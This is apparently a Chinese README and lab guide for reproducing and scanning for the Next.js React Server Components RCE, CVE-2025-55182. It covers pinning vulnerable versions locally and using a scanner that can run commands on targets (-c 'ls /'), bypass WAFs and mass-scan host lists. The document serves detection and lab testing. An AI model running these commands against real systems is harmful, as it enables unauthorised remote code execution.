| 组件 | 复现推荐使用版本 | 易受攻击版本范围 |
|---|---|---|
| Node.js | >= 20.9.0 | 20.9.0 (LTS) 及以上 |
| Next.js | 15.0.0 | 15.x, 16.x(App Router) |
| React Core | 19.0.0 或 19.2.0 | 19.0.0 到 19.2.0 |
| RSC Bundler | react-server-dom-webpack | 19.0.0 到 19.2.0 |
强制安装低版本
cd cve-2025-55182-target
npm install --force
验证依赖版本
npm list react next
# 确认输出显示 [email protected] 和 [email protected]
只要顶级依赖列表显示 [email protected] 和 [email protected],环境即已成功锁定在易受攻击的状态,可忽略此处的警告和错误代码。
构建:
npm run build
运行:
npm start
服务器将在 http://localhost:3000 监听。环境搭建完成,可以开始进行漏洞验证。
漏洞检测/扫描:
cd React2shell
python3 scanner.py -u http://127.0.0.1:3000/
RCE:
python3 scanner_with_rce.py -u http://127.0.0.1:3000/ -c "ls /"


一个用于检测 Next.js 应用中 React Server Components(RSC)漏洞 CVE-2025-55182 和 CVE-2025-66478 的命令行工具。
关于漏洞技术细节和检测方法的详细介绍,请参阅我们的博客文章:https://slcyber.io/research-center/high-fidelity-detection-mechanism-for-rsc-next-js-rce-cve-2025-55182-cve-2025-66478
默认情况下,扫描器会发送一个特制的多部分 POST 请求,其中包含一个用于执行确定性数学运算(41*271 = 11111)的 RCE 验证载荷。存在漏洞的主机会在 X-Action-Redirect 响应头中以 /login?a=11111 的形式返回计算结果。
扫描器首先测试根路径。如果根路径不存在漏洞,它会跟随同源重定向(例如从 / 重定向到 /en/)并测试重定向目标。不会跟随跨域重定向。
使用 --safe-check 标志可启用安全检测模式,该方法依赖旁路信号(如 500 状态码及特定错误摘要)而不在目标上执行代码。当不希望执行 RCE 时,请使用此模式。
使用 --waf-bypass 标志会在多部分请求体前添加随机干扰数据。这有助于绕过仅分析请求体前部内容的 WAF 检测。默认大小为 128KB,可通过 --waf-bypass-size 配置。启用 WAF 绕过时,超时时间会自动增加至 20 秒(除非明确设置)。
使用 --windows 标志会将载荷从 Unix shell(echo $((41*271)))切换为 PowerShell(powershell -c "41*271"),适用于运行在 Windows 上的目标。
pip install -r requirements.txt
扫描单个主机:
python3 scanner.py -u https://example.com
扫描主机列表:
python3 scanner.py -l hosts.txt
使用多线程扫描并保存结果:
python3 scanner.py -l hosts.txt -t 20 -o results.json
使用自定义请求头扫描:
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"
使用安全旁路检测:
python3 scanner.py -u https://example.com --safe-check
扫描 Windows 目标:
python3 scanner.py -u https://example.com --windows
使用 WAF 绕过扫描:
python3 scanner.py -u https://example.com --waf-bypass
执行 RCE 命令:
python3 scanner.py -u https://example.com -c "ls /"
-u, --url 要检查的单个 URL
-c, --cmd 要执行的命令
-l, --list 包含主机的文件(每行一个)
-t, --threads 并发线程数(默认:10)
--timeout 请求超时时间(秒,默认:10)
-o, --output 保存结果的输出文件(JSON格式)
--all-results 保存所有结果,不仅限于存在漏洞的主机
-k, --insecure 禁用 SSL 证书验证
-H, --header 自定义请求头(可多次使用)
-v, --verbose 显示存在漏洞主机的响应详情
-q, --quiet 仅输出存在漏洞的主机
--no-color 禁用彩色输出
--safe-check 使用安全的旁路检测而非 RCE PoC
--windows 使用 Windows PowerShell 载荷替代 Unix shell
--waf-bypass 添加干扰数据以绕过 WAF 内容检测
--waf-bypass-size 干扰数据大小(KB,默认:128)
RCE PoC 最初由 @maple3142 公开披露——我们非常感谢他们发布可用的 PoC 所做的贡献。
本工具最初是为安全检测该 RCE 而构建。此功能仍可通过 --safe-check 安全检测模式使用。
结果将输出到终端。使用 -o 参数时,存在漏洞的主机会被保存到 JSON 文件中,包含完整的 HTTP 请求与响应以供验证。